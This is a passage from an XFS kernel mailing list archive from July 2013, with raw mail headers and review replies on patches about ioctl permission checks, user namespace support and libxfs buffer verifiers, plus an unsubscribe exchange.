tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Mon, Jul 29, 2013 at 11:07:05PM -0400, Dwight Engen wrote: > Check for CAP_SYS_ADMIN since the caller can truncate preallocated > blocks from files they do not own nor have write access to. A more > fine grained access check was considered: require the caller to > specify their own uid/gid and to use inode_permission to check for > write, but this would not catch the case of an inode not reachable > via path traversal from the callers mount namespace. > > Add check for read-only filesystem to free eofblocks ioctl. > > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_ioctl.c | 6 ++++++ > 1 file changed, 6 insertions(+) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 6e72eff..b1990ac 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1613,6 +1613,12 @@ xfs_file_ioctl( > struct xfs_fs_eofblocks eofb; > struct xfs_eofblocks keofb; > > + if (!capable(CAP_SYS_ADMIN)) > + return -EPERM; > + > + if (IS_RDONLY(inode)) > + return -XFS_ERROR(EROFS); > + > if (copy_from_user(&eofb, arg, sizeof(eofb))) > return -XFS_ERROR(EFAULT); Looks fine. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 30 18:27:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0EB537CBF for ; Tue, 30 Jul 2013 18:27:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 806BEAC003 for ; Tue, 30 Jul 2013 16:27:51 -0700 (PDT) X-ASG-Debug-ID: 1375226869-04cbb02c3c261790001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id UIrndAaxbfGXNHpd for ; Tue, 30 Jul 2013 16:27:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMEABxL+FF5LPxHgWdsb2JhbABbhjK2O4U3gR4XDgEBFiYogiQBAQUnExwjEAgDDgoJJQ8FJQMhE4gPuGQWj2gHhAkDl16Ucyo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 08:57:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4JKU-0001ya-T4; Wed, 31 Jul 2013 09:27:46 +1000 Date: Wed, 31 Jul 2013 09:27:46 +1000 From: Dave Chinner To: Brian Foster Cc: Dwight Engen , xfs@oss.sgi.com Subject: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl Message-ID: <20130730232746.GP13468@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 6/7] xfs: add capable check to free eofblocks ioctl References: <20130729230705.128e4509@oracle.com> <51F7B2A3.7030007@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F7B2A3.7030007@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375226869 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Jul 30, 2013 at 08:33:39AM -0400, Brian Foster wrote: > On 07/29/2013 11:07 PM, Dwight Engen wrote: > > Check for CAP_SYS_ADMIN since the caller can truncate preallocated > > blocks from files they do not own nor have write access to. A more > > fine grained access check was considered: require the caller to > > specify their own uid/gid and to use inode_permission to check for > > write, but this would not catch the case of an inode not reachable > > via path traversal from the callers mount namespace. > > > > Add check for read-only filesystem to free eofblocks ioctl. > > > > Signed-off-by: Dwight Engen > > --- > > fs/xfs/xfs_ioctl.c | 6 ++++++ > > 1 file changed, 6 insertions(+) > > > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > > index 6e72eff..b1990ac 100644 > > --- a/fs/xfs/xfs_ioctl.c > > +++ b/fs/xfs/xfs_ioctl.c > > @@ -1613,6 +1613,12 @@ xfs_file_ioctl( > > struct xfs_fs_eofblocks eofb; > > struct xfs_eofblocks keofb; > > > > + if (!capable(CAP_SYS_ADMIN)) > > + return -EPERM; > > + > > I see that we aren't using XFS_ERROR() on the EPERM returns in > xfs_file_ioctl(), but I see it used for other capability checks > elsewhere (i.e., down in xfs_growfs_data()). Perhaps somebody can chime > in as to the reasoning for that..? I guess it could be that we wouldn't > want to fire a BUG() at the interface point (ioctl()) on debug kernels > for every time a user attempts an operation they don't have the ability > to perform (e.g., we should notice on internal failures, not when > userspace sends us something wrong). Essentially. The error trapping is used to pinpoint where an error first occurs. e.g. where a ENOMEM error is first detected. There might be tens of memory allocations inside a transaction that is failing with ENOMEM and shutting down, so tracking down where it came from is quite hard. Hence trapping the first ENOMEM occurrence with a BUG() via XFS_ERROR() will tell you exactly where it came from. Similarly, some ioctls can return EINVAL for 20 different reasons (e.g. xfs_swapext() path) and so trapping them can be useful if it's a random failure that can't be captured otherwise. Because all the EPERM checks are in the outer layers and generally easy to spot, they are easy to test for and easy to track down when they occur. Hence, in general, we don't need to trap them. > > > + if (IS_RDONLY(inode)) > > + return -XFS_ERROR(EROFS); > > + > > This should probably be consistent with the other read-only checks in > the ioctl code and check the xfs_mount structure: > > if (mp->m_flags & XFS_MOUNT_RDONLY) > return -XFS_ERROR(EROFS); Oh, I didn't even think about that - IS_RDONLY() actually checks the superblock flag, so it's no different to checking the xfs_mount flags. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Jul 30 18:40:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E16CD7CBF for ; Tue, 30 Jul 2013 18:40:21 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6FEB8AC002; Tue, 30 Jul 2013 16:40:21 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 240CA4266DC; Tue, 30 Jul 2013 18:40:21 -0500 (CDT) Date: Tue, 30 Jul 2013 18:40:21 -0500 From: Ben Myers To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130730234021.GR3111@sgi.com> References: <20130729230709.11033b2d@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130729230709.11033b2d@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Dwight, On Mon, Jul 29, 2013 at 11:07:09PM -0400, Dwight Engen wrote: > >From e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 00:00:00 2001 > From: Dwight Engen > Date: Tue, 2 Jul 2013 09:52:54 -0400 > Subject: [PATCH 7/7] enable building user namespace with xfs > > Signed-off-by: Dwight Engen Was there a patch running around to limit bulkstat to init_user_ns? Any other items that needed to be addressed before applying this patch? Thanks, Ben From david@fromorbit.com Tue Jul 30 18:59:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 64FA57CBF for ; Tue, 30 Jul 2013 18:59:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F20B7AC005 for ; Tue, 30 Jul 2013 16:59:43 -0700 (PDT) X-ASG-Debug-ID: 1375228777-04bdf02f2326a510001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id q2JjDHKFEnHXzFwe for ; Tue, 30 Jul 2013 16:59:38 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqUEAOdR+FF5LPxHgWdsb2JhbABbvGyFN4EeFw4BARYmKIIkAQEEAScTHCMFCwgDDgcDCSUPBSUDIROICgW4axaPaAeECQOXXpRzKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 09:29:37 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4JpI-00021w-8j; Wed, 31 Jul 2013 09:59:36 +1000 Date: Wed, 31 Jul 2013 09:59:36 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 22/48] xfsprogs: Add verifiers to libxfs buffer interfaces. Message-ID: <20130730235936.GQ13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 22/48] xfsprogs: Add verifiers to libxfs buffer interfaces. References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-23-git-send-email-david@fromorbit.com> <20130726215820.GN3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130726215820.GN3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375228777 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137451 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 04:58:20PM -0500, Ben Myers wrote: > Dave, > > On Fri, Jun 07, 2013 at 10:25:45AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > Verifiers need to be used everywhere to enable calculation of CRCs > > during writeback of modified metadata. Add then to the libxfs buffer > > interfaces conver the internal use of devices to be buftarg aware. > > > > Verifiers also require that the buffer has a back pointer to the > > struct xfs_mount. To make this source level comaptible between > > kernel and userspace, convert userspace to pass struct xfs_buftargs > > around rather than a "device". > > > > Signed-off-by: Dave Chinner > > > > @@ -507,7 +527,7 @@ typedef struct xfs_inode { > > xfs_mount_t *i_mount; /* fs mount struct ptr */ > > xfs_ino_t i_ino; /* inode number (agno/agino) */ > > struct xfs_imap i_imap; /* location for xfs_imap() */ > > - dev_t i_dev; /* dev for this inode */ > > + struct xfs_buftarg i_dev; /* dev for this inode */ > > Got a little jumpy with the tabs there... > > > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > > index e9cc7b1..f91a5d0 100644 > > --- a/libxfs/rdwr.c > > +++ b/libxfs/rdwr.c > > @@ -200,12 +200,15 @@ libxfs_log_header( > > #undef libxfs_getbuf_flags > > #undef libxfs_putbuf > > > > -xfs_buf_t *libxfs_readbuf(dev_t, xfs_daddr_t, int, int); > > -xfs_buf_t *libxfs_readbuf_map(dev_t, struct xfs_buf_map *, int, int); > > +xfs_buf_t *libxfs_readbuf(struct xfs_buftarg *, xfs_daddr_t, int, int, > > + const struct xfs_buf_map *); > > const struct xfs_buf_ops *); > > > +xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, > > + int, int, const struct xfs_buf_map *); > > const struct xfs_buf_ops *); Oh, in not-compiled debug code. > > > @@ -612,9 +622,9 @@ libxfs_purgebuf(xfs_buf_t *bp) > > { > > struct xfs_bufkey key = {0}; > > > > - key.device = bp->b_dev; > > + key.buftarg = bp->b_target; > > key.blkno = bp->b_bn; > > - key.bblen = bp->b_bcount >> BBSHIFT; > > + key.bblen = bp->b_length; > > Why was this change necessary? b_bcount to b_length? It doesn't seem to be > related to the rest of the patch. Sure it is - I added a length in basic blocks to the struct xfs_buf, and the key uses length in basic blocks. I converted everything to use basic blocks where possible, because that matches what the kernel uses for all it's buffer interfaces. > > @@ -767,9 +803,42 @@ __write_buf(int fd, void *buf, int len, off64_t offset, int flags) > > int > > libxfs_writebufr(xfs_buf_t *bp) > > { > > - int fd = libxfs_device_to_fd(bp->b_dev); > > + int fd = libxfs_device_to_fd(bp->b_target->dev); > > int error = 0; > > > > + /* > > + * we never write buffers that are marked stale. This indicates they > > + * contain data that has been invalidated, and even if the buffer is > > + * dirty it must *never* be written. Verifiers are wonderful for finding > > + * bugs like this. Make sure the error is obvious as to the cause. > > + */ > > + if (bp->b_flags & LIBXFS_B_STALE) { > > + bp->b_error = ESTALE; > > + return bp->b_error; > > + } > > What led to this? Exactly what the comment says - write verifiers were failing because stale blocks often have invalid contents. And, of course, stale buffers should never be written to disk as they could be overwriting otherwise valid data. > > + > > + /* > > + * clear any pre-existing error status on the buffer. This can occur if > > + * the buffer is corrupt on disk and the repair process doesn't clear > > + * the error before fixing and writing it back. > > + */ > > + bp->b_error = 0; > > + if (bp->b_ops) { > > + bp->b_ops->verify_write(bp); > > + if (bp->b_error) { > > + fprintf(stderr, > > + _("%s: write verifer failed on bno 0x%llx/0x%x\n"), > > + __func__, (long long)bp->b_bn, bp->b_bcount); > > + return bp->b_error; > > + } > > + } > > + > > + if (bp->b_ops) { > > + bp->b_ops->verify_write(bp); > > + if (bp->b_error) > > + return bp->b_error; > > + } > > + > > Calling the verifier twice? Maybe I'm seeing double again... Probably a rebase error - a patch that should have conflicted and got a merge error didn't. Indeed, that doesn't match what is actually in the current code base - it repeats that entire block from comment to the end of the if statement twice - so it's pretty obvious there's been rebase/merge issues here... > > @@ -1353,7 +1353,8 @@ scan_ags( > > } > > memset(agcnts, 0, mp->m_sb.sb_agcount * sizeof(*agcnts)); > > > > - create_work_queue(&wq, mp, scan_threads); > > + create_work_queue(&wq, mp, 1); > > + //create_work_queue(&wq, mp, scan_threads); > > What's this all about? Were you having trouble with a multithreaded scan? Debug code I forgot to remove - multithreaded code can be a pain to debug in gdb. I thought I'd re-enabled it, but obviously not. > Looks fine for the most part... I did get a little uncomfortable with using > verifiers on reads in repair. Not sure whether setting b_error = EFSCORRUPTED > would have ill effect later. That's why bp->b_error is zeroed before we do any IO on the buffer again - so previous errors aren't propagated. Righ tnow the EFSCORRUPTED error from the verifiers is ignored, but I have patches to start having repair treat them a broken blocks (e.g. because the CRC failed) needing repair. i.e. for repair to actually correctly verify the filesystem is error free, it has to verify allt eh CRCs are in tact. it doesn't currently do that.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From openspace.wang@gmail.com Tue Jul 30 19:21:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,TVD_SPACE_RATIO, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F0A427F3F for ; Tue, 30 Jul 2013 19:21:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E3A0AC004 for ; Tue, 30 Jul 2013 17:20:58 -0700 (PDT) X-ASG-Debug-ID: 1375230053-04cb6c2e9d265500001-NocioJ Received: from mail-ob0-f180.google.com (mail-ob0-f180.google.com [209.85.214.180]) by cuda.sgi.com with ESMTP id Llsnjrfhsp2tPQXA (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO); Tue, 30 Jul 2013 17:20:54 -0700 (PDT) X-Barracuda-Envelope-From: openspace.wang@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] Received: by mail-ob0-f180.google.com with SMTP id up14so129219obb.25 for ; Tue, 30 Jul 2013 17:20:53 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=ioO2oeuShP1rp4KAsAxcMQ+oyAIYXvApU9OkmjQ8yqo=; b=zVqBSKua3pzbm4z1bKi3SnOvcXhD6nySbony15BbblWguBbHiL2WfargdZFjeppY9Q 8N5ice80y1tl3sS7/xdDTENzdOUm3FGu7e8fqsHZSL2P58/R935agz2SoQ+whorksuFC fwnMguT/G6e1jS08dEYcs+NBwIGlY79MwlM9UYDgLH1ah2TXOcyJlFpfhfTWPStwGYrt 8gIA9fYWfAHJtGdpslWvjROEiN/lif7AVfvCVG4Yp9bpbLHhQLxhv8olypEPttz2UmUc wDacQ7L1qDtGEW0gH3QMIwJ5HpJgz+GSgNUSmTlJUMoJaTE0DA7VfrHuvmwD4yN1PbcD 3tOQ== MIME-Version: 1.0 X-Received: by 10.182.16.137 with SMTP id g9mr59106565obd.17.1375230053435; Tue, 30 Jul 2013 17:20:53 -0700 (PDT) Received: by 10.76.141.109 with HTTP; Tue, 30 Jul 2013 17:20:53 -0700 (PDT) Date: Wed, 31 Jul 2013 08:20:53 +0800 Message-ID: Subject: unscribe linux-xfs From: Ryan Wang X-ASG-Orig-Subj: unscribe linux-xfs To: xfs@oss.sgi.com, xfs-request@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f180.google.com[209.85.214.180] X-Barracuda-Start-Time: 1375230053 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137453 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature unscribe linux-xfs From david@fromorbit.com Tue Jul 30 19:21:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 271237CBF for ; Tue, 30 Jul 2013 19:21:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 080668F8035 for ; Tue, 30 Jul 2013 17:21:40 -0700 (PDT) X-ASG-Debug-ID: 1375230099-04bdf02f2126b940001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id gU3mFgXCHjUlSQhK for ; Tue, 30 Jul 2013 17:21:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqUEAAFY+FF5LPxHgWdsb2JhbABbvGyFN4EeFw4BARYmKIIkAQEFOhwjEAgDDgMDAQIBCSUPBSUDEw4TiA+4bxaOK4E9B4QJA5delHMqgS0 Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jul 2013 09:51:38 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4KAJ-00025T-A8; Wed, 31 Jul 2013 10:21:19 +1000 Date: Wed, 31 Jul 2013 10:21:19 +1000 From: Dave Chinner To: Ben Myers Cc: Dwight Engen , xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130731002119.GR13468@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130730234021.GR3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1375230099 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137453 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 30, 2013 at 06:40:21PM -0500, Ben Myers wrote: > Hey Dwight, > > On Mon, Jul 29, 2013 at 11:07:09PM -0400, Dwight Engen wrote: > > >From e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 00:00:00 2001 > > From: Dwight Engen > > Date: Tue, 2 Jul 2013 09:52:54 -0400 > > Subject: [PATCH 7/7] enable building user namespace with xfs > > > > Signed-off-by: Dwight Engen > > Was there a patch running around to limit bulkstat to init_user_ns? Any other > items that needed to be addressed before applying this patch? Bulkstat has a capable(CAP_SYS_ADMIN) check and therefore can only be executed in the init name space. Similarly, all the open-by-handle interfaces have the same capable() checks so they can only be executed int he init name space, too. The only thing I think we still need to address is whether xfs_ioc_setattr() should allow users within a namespace to change the project ID of a file they otherwise own. That function is currently changed to use a inode_owner_or_capable() check and so if the uids match inside the namespace the modification is allowed. However, right now for project IDs I think we have decided to limit manipulations to the init user namespace and not expose project IDs inside user namespaces at all. Hence I think that xfs_ioc_setattr() needs a further check for this... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Tue Jul 30 20:00:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EACA87F3F for ; Tue, 30 Jul 2013 20:00:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CD2D68F8037 for ; Tue, 30 Jul 2013 18:00:00 -0700 (PDT) X-ASG-Debug-ID: 1375232399-04cbb02c3e266bd0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 4juwtP0gQ7Ocr5Gc; Tue, 30 Jul 2013 17:59:59 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 77D8C6877AC6; Tue, 30 Jul 2013 19:59:58 -0500 (CDT) Message-ID: <51F8618D.5090306@sandeen.net> Date: Tue, 30 Jul 2013 19:59:57 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Ryan Wang CC: xfs@oss.sgi.com, xfs-request@oss.sgi.com Subject: Re: unscribe linux-xfs References: X-ASG-Orig-Subj: Re: unscribe linux-xfs In-Reply-To: X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375232399 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 7/30/13 7:20 PM, Ryan Wang wrote: > unscribe linux-xfs send: "unsubscribe" in the body of an email to: xfs-request@oss.sgi.com (http://xfs.org/index.php/XFS_email_list_and_archives) -Eric From zwu.kernel@gmail.com Tue Jul 30 20:32:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 107E57CBF for ; Tue, 30 Jul 2013 20:32:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 95007AC002 for ; Tue, 30 Jul 2013 18:32:24 -0700 (PDT) X-ASG-Debug-ID: 1375234342-04cbb02c3c268bc0001-NocioJ Received: from mail-qe0-f41.google.com (mail-qe0-f41.google.com [209.85.128.41]) by cuda.sgi.com with ESMTP id MYNRH0Nqg1C3fXVY (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 30 Jul 2013 18:32:22 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.41] Received: by mail-qe0-f41.google.com with SMTP id a11so68364qen.28 for ; Tue, 30 Jul 2013 18:32:22 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=CT3rqyKfDFGTZiq5yO2XpU5zzRr1X/J6+3LqPdYobrY=; b=xhv/0Sbf7rJd4YaDNxTVdc3wog669AYQMnTJfJX+2W3Hq5LfcHQmXZgj16LhYwiC/W Q7s3kFzZ0BxBHiniw/bf+FoJJ35WJ7gThvLytWBLzf3NaBpIdnn24nSBlIuJkEjrUqOU uRFVh7auSlAQHm5jZRuJz6H3oSlRfKrZ6LzyqpPXEYdNbnq6+NG2z3a7oFfrYBcBsxHe Y7m6DwLpbmzghqEBIrbGE+ArtRKC4w7mKvk3j+cjUftQmcMZejouwwvsBaaBiJeELkn5 scJ3Z26z6wPTXjKS/c51VatOYAfhzbEr/MHuphbn3DLSkYTWSe1wgAKhQexj7C/NkW8s LQiA== MIME-Version: 1.0 X-Received: by 10.49.71.141 with SMTP id v13mr81774455qeu.36.1375234342421; Tue, 30 Jul 2013 18:32:22 -0700 (PDT) Received: by 10.49.48.226 